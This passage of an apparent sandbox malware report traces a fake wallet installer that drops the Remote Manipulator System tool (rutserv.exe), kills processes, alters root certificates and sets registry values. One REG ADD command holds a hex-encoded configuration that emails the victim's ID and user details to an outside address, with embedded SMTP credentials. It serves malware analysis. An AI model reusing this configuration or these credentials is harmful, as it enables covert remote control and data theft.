378f5c392be404f07b8d568c68	rutserv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	rutserv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob = 5c0000000100000004000000000800000400000001000000100000008ccadc0b22cef5be72ac411a11a8d81203000000010000001400000091c6d6ee3e8ac86384e548c299295c756c817b817e000000010000000800000000c0032f2df8d6010b000000010000000e00000074006800610077007400650000001d00000001000000100000005b3b67000eeb80022e42605b6b3b72401400000001000000140000007b5b45cfafcecb7afd31921a6ab6f346eb5748506200000001000000200000008d722f81a9c113c0791df136a2966db26c950a971db46b4199f4ea54b78bfb9f53000000010000002500000030233021060b6086480186f8450107300130123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703017f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703010f000000010000001400000085fef11b4f47fe3952f98301c9f98976fefee0ce190000000100000010000000dc73f9b71e16d51d26527d32b11a6a3d2000000001000000240400003082042030820308a0030201020210344ed55720d5edec49f42fce37db2b6d300d06092a864886f70d01010505003081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f74204341301e170d3036313131373030303030305a170d3336303731363233353935395a3081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aca0f0fb8059d49cc7a4cf9da159730910450c0d2c6e68f16c5b4868495937fc0b3319c2777fcc102d95341ce6eb4d09a71cd2b8c9973602b789d4245f06c0cc4494948d02626feb5add118d289a5c8490107a0dbd74662f6a38a0e2d55444eb1d079f07ba6feee9fd4e0b29f53e84a001f19cabf81c7e89a4e8a1d871650da3517beebcd222600db95b9ddfbafc515b0baf98b2e92ee904e86287de2bc8d74ec14c641eddcf8758ba4a4fca68071d1c9d4ac6d52f91cc7c71721cc5c067eb32fdc9925c94da85c09bbf537d2b09f48c9d911f976a52cbde0936a477d87b875044d53e6e2969fb3949261e09a5807b402debe82785c9fe61fd7ee67c971dd59d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147b5b45cfafcecb7afd31921a6ab6f346eb574850300d06092a864886f70d010105050003820101007911c04bb391b6fcf0e967d40d6e45be55e893d2ce033fedda25b01d57cb1e3a76a04cec5076e864720ca4a9f1b88bd6d68784bb32e54111c077d9b3609deb1bd5d16e4444a9a601ec55621d77b85c8e48497c9c3b5711acad73378e2f785c906847d96060e6fc073d222017c4f716e9c4d872f9c8737cdf162f15a93efd6a27b6a1eb5aba981fd5e34d640a9d13c861baf5391c87bab8bd7b227ff6feac4079e5ac106f3d8f1b79768bc437b3211884e53600eb632099b9e9fe3304bb41c8c102f94463209e81ce42d3d63f2c76d3639c59dd8fa6e10ea02e41f72e9547cfbcfd33f3f60b617e7e912b8147c22730eea7105d378f5c392be404f07b8d568c68	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3380	SetupWallet.tmp
3380	SetupWallet.tmp
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4484	taskkill.exe
Token: SeDebugPrivilege	4732	taskkill.exe
Token: SeDebugPrivilege	4876	taskkill.exe
Token: SeDebugPrivilege	360	taskkill.exe
Token: SeDebugPrivilege	4520	rutserv.exe
Token: SeDebugPrivilege	1180	taskkill.exe
Token: SeDebugPrivilege	4520	rutserv.exe
Token: SeTcbPrivilege	1504	svchost.exe
Token: SeTcbPrivilege	1504	svchost.exe
Token: SeDebugPrivilege	2404	taskkill.exe
Token: SeDebugPrivilege	3208	taskkill.exe
Token: SeDebugPrivilege	3680	taskkill.exe
Token: SeDebugPrivilege	220	taskkill.exe
Token: SeDebugPrivilege	2208	taskkill.exe
Token: SeDebugPrivilege	5108	taskkill.exe
Token: SeDebugPrivilege	4684	taskkill.exe
Token: SeDebugPrivilege	844	taskkill.exe
Token: SeDebugPrivilege	5116	taskkill.exe
Token: SeDebugPrivilege	816	taskkill.exe
Token: SeDebugPrivilege	5024	taskkill.exe
Token: SeDebugPrivilege	3448	taskkill.exe
Token: SeDebugPrivilege	3852	taskkill.exe
Token: SeDebugPrivilege	3564	taskkill.exe
Token: SeDebugPrivilege	3876	taskkill.exe
Token: SeDebugPrivilege	2304	taskkill.exe
Token: SeDebugPrivilege	1836	taskkill.exe
Token: SeDebugPrivilege	3940	taskkill.exe
Token: SeDebugPrivilege	1712	taskkill.exe
Token: SeTakeOwnershipPrivilege	1916	rutserv.exe
Token: SeTcbPrivilege	1916	rutserv.exe
Token: SeDebugPrivilege	2124	taskkill.exe
Token: SeDebugPrivilege	2652	taskkill.exe
Token: SeDebugPrivilege	4344	taskkill.exe
Token: SeDebugPrivilege	1476	taskkill.exe
Token: SeDebugPrivilege	1656	taskkill.exe
Token: SeDebugPrivilege	744	taskkill.exe
Token: SeDebugPrivilege	4064	taskkill.exe
Token: SeDebugPrivilege	3336	taskkill.exe
Token: SeDebugPrivilege	3484	taskkill.exe
Token: SeTcbPrivilege	1916	rutserv.exe
Token: SeDebugPrivilege	4088	taskkill.exe
Token: SeDebugPrivilege	4080	taskkill.exe
Token: SeDebugPrivilege	3764	taskkill.exe
Token: SeDebugPrivilege	1472	taskkill.exe
Token: SeDebugPrivilege	3476	taskkill.exe
Token: SeDebugPrivilege	4140	taskkill.exe
Token: SeDebugPrivilege	3472	taskkill.exe
Token: SeDebugPrivilege	3292	taskkill.exe
Token: SeDebugPrivilege	2068	taskkill.exe
Token: SeDebugPrivilege	4228	taskkill.exe
Token: SeDebugPrivilege	2972	taskkill.exe
Token: SeDebugPrivilege	368	taskkill.exe
Token: SeDebugPrivilege	2388	taskkill.exe
Token: SeDebugPrivilege	2976	taskkill.exe
Token: SeDebugPrivilege	2544	taskkill.exe
Token: SeDebugPrivilege	5108	taskkill.exe
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeDebugPrivilege	4440	taskkill.exe
Token: SeDebugPrivilege	4988	taskkill.exe
Token: SeDebugPrivilege	3948	taskkill.exe
Token: SeDebugPrivilege	5024	taskkill.exe
Token: SeDebugPrivilege	3448	taskkill.exe
Token: SeDebugPrivilege	3852	taskkill.exe
Token: SeDebugPrivilege	3564	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3380	SetupWallet.tmp

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
4520	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 3380	2816	SetupWallet.exe	79
PID 2816 wrote to memory of 3380	2816	SetupWallet.exe	79
PID 2816 wrote to memory of 3380	2816	SetupWallet.exe	79
PID 3380 wrote to memory of 5004	3380	SetupWallet.tmp	80
PID 3380 wrote to memory of 5004	3380	SetupWallet.tmp	80
PID 5004 wrote to memory of 4468	5004	cmd.exe	82
PID 5004 wrote to memory of 4468	5004	cmd.exe	82
PID 5004 wrote to memory of 3472	5004	cmd.exe	83
PID 5004 wrote to memory of 3472	5004	cmd.exe	83
PID 5004 wrote to memory of 4520	5004	cmd.exe	85
PID 5004 wrote to memory of 4520	5004	cmd.exe	85
PID 5004 wrote to memory of 4520	5004	cmd.exe	85
PID 5004 wrote to memory of 4484	5004	cmd.exe	86
PID 5004 wrote to memory of 4484	5004	cmd.exe	86
PID 5004 wrote to memory of 4732	5004	cmd.exe	89
PID 5004 wrote to memory of 4732	5004	cmd.exe	89
PID 5004 wrote to memory of 4876	5004	cmd.exe	90
PID 5004 wrote to memory of 4876	5004	cmd.exe	90
PID 5004 wrote to memory of 360	5004	cmd.exe	91
PID 5004 wrote to memory of 360	5004	cmd.exe	91
PID 5004 wrote to memory of 1180	5004	cmd.exe	92
PID 5004 wrote to memory of 1180	5004	cmd.exe	92
PID 5004 wrote to memory of 2404	5004	cmd.exe	96
PID 5004 wrote to memory of 2404	5004	cmd.exe	96
PID 1504 wrote to memory of 1916	1504	svchost.exe	97
PID 1504 wrote to memory of 1916	1504	svchost.exe	97
PID 1504 wrote to memory of 1916	1504	svchost.exe	97
PID 5004 wrote to memory of 3208	5004	cmd.exe	100
PID 5004 wrote to memory of 3208	5004	cmd.exe	100
PID 5004 wrote to memory of 3680	5004	cmd.exe	103
PID 5004 wrote to memory of 3680	5004	cmd.exe	103
PID 5004 wrote to memory of 220	5004	cmd.exe	104
PID 5004 wrote to memory of 220	5004	cmd.exe	104
PID 5004 wrote to memory of 2208	5004	cmd.exe	105
PID 5004 wrote to memory of 2208	5004	cmd.exe	105
PID 5004 wrote to memory of 5108	5004	cmd.exe	106
PID 5004 wrote to memory of 5108	5004	cmd.exe	106
PID 5004 wrote to memory of 4684	5004	cmd.exe	108
PID 5004 wrote to memory of 4684	5004	cmd.exe	108
PID 5004 wrote to memory of 844	5004	cmd.exe	109
PID 5004 wrote to memory of 844	5004	cmd.exe	109
PID 5004 wrote to memory of 5116	5004	cmd.exe	110
PID 5004 wrote to memory of 5116	5004	cmd.exe	110
PID 5004 wrote to memory of 816	5004	cmd.exe	111
PID 5004 wrote to memory of 816	5004	cmd.exe	111
PID 5004 wrote to memory of 5024	5004	cmd.exe	112
PID 5004 wrote to memory of 5024	5004	cmd.exe	112
PID 5004 wrote to memory of 3448	5004	cmd.exe	113
PID 5004 wrote to memory of 3448	5004	cmd.exe	113
PID 5004 wrote to memory of 3852	5004	cmd.exe	114
PID 5004 wrote to memory of 3852	5004	cmd.exe	114
PID 5004 wrote to memory of 3564	5004	cmd.exe	115
PID 5004 wrote to memory of 3564	5004	cmd.exe	115
PID 5004 wrote to memory of 3876	5004	cmd.exe	116
PID 5004 wrote to memory of 3876	5004	cmd.exe	116
PID 5004 wrote to memory of 2304	5004	cmd.exe	117
PID 5004 wrote to memory of 2304	5004	cmd.exe	117
PID 5004 wrote to memory of 1836	5004	cmd.exe	118
PID 5004 wrote to memory of 1836	5004	cmd.exe	118
PID 5004 wrote to memory of 3940	5004	cmd.exe	119
PID 5004 wrote to memory of 3940	5004	cmd.exe	119
PID 5004 wrote to memory of 1712	5004	cmd.exe	120
PID 5004 wrote to memory of 1712	5004	cmd.exe	120
PID 5004 wrote to memory of 2124	5004	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\SetupWallet.exe
"C:\Users\Admin\AppData\Local\Temp\SetupWallet.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Users\Admin\AppData\Local\Temp\is-TQESB.tmp\SetupWallet.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-TQESB.tmp\SetupWallet.tmp" /SL5="$50040,6348230,780800,C:\Users\Admin\AppData\Local\Temp\SetupWallet.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /C ""C:\ProgramData\Immunity\install.cmd""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Host" /f /v "notification" /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b46383041413939302d414432332d343543432d423131352d4439383834443532373335387d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e747275653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e79616e6465782e72753c2f686f73743e3c706f72743e3538373c2f706f72743e3c757365726e616d653e736368616b75726f784079616e6465782e72753c2f757365726e616d653e3c70617373776f72643e6f4e33396a3138786771536a33654b5057444744704b76646a6f38384d66536d3c2f70617373776f72643e3c66726f6d5f656d61696c3e736368616b75726f784079616e6465782e72753c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e776577626f6f6c4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e20496e7465726e65742d494420d181d0b3d0b5d0bdd0b5d180d0b8d180d0bed0b2d0b0d0bd3a20254944253c2f7375626a6563743e3c746578743e2671756f743be2968220e2968320e2968420e2968520e29686e298a354686520636f6d7075746572e298a3e2968620e2968520e2968420e2968320e2968220202671756f743b2c2c2671756f743b49443a20254944252671756f743b2c2671756f743b557365726e616d653a2025555345524e414d45252671756f743b2c2671756f743b436f6d7075746572206e616d653a2025434f4d504e414d45252671756f743b2c2671756f743b5468652075736572207761732070726573656e7465642061733a202553454c464944252671756f743b3c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a
      4⤵
      PID:4468
  - - C:\Windows\system32\timeout.exe
      TIMEOUT /T 3
      4⤵
      Delays execution with timeout.exe
      PID:3472
  - - C:\ProgramData\Immunity\rutserv.exe
      "C:\ProgramData\Immunity\rutserv.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4520
    - - C:\ProgramData\Immunity\rutserv.exe
        
        C:\ProgramData\Immunity\rutserv.exe -run_agent -second
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1916
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 768
        5⤵
        Program crash
        
        PID:3060
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4484
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4732
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:360
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1180
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2404
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3208
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3680
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:220
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2208
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5108
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4684
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:844
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5116
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5024
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3448
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3852
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3564
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3940
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1712
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2124
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2652
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4344
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1476
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1656
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:744
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4064
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3336
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3484
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4088
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3764
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1472
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3476
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4140
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3472
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3292
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2068
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4228
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2972
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:368
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2388
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2976
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2544
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5108
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4440
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4988
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3948
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5024
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3448
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3852
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3564
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:3876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:2304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:2424
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:2512
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:980
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
